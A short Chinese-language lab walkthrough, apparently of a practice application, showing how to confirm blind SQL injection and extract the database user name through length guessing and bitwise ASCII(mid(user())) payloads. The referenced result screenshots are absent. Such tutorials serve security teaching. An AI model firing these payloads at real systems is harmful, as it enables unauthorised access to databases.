1.输入单引号,结果如下:
2.输入永真式
' and 1=1; --
结果如下:
多次测试,如果输入的条件为假,就会返回1中的结果,为真则返回2中的结果,由此说明这属于SQL盲注。
3.猜解用户名长度
构造下面的SQL语句:
' and length(user())=1; --
从1开始,逐渐加1,直到页面的返回结果是"User ID exists in the database",这时我们就得到了用户名的长度。在我的实验过程中,这个长度是14。
4.猜解用户名
构造下面的SQL语句:
' and ASCII(mid(user(),1,1))&128=128;--
' and ASCII(mid(user(),1,1))&64=64;--
' and ASCII(mid(user(),1,1))&32=32;--
' and ASCII(mid(user(),1,1))&16=16;--
' and ASCII(mid(user(),1,1))&8=8;--
' and ASCII(mid(user(),1,1))&4=4;--
' and ASCII(mid(user(),1,1))&2=2;--
' and ASCII(mid(user(),1,1))&1=1;--
对于用户名中的每个字符,用上面的方法逐位进行确定即可,假如用户名总共有14个字符的话,用这种方法需要进行14*8=112次。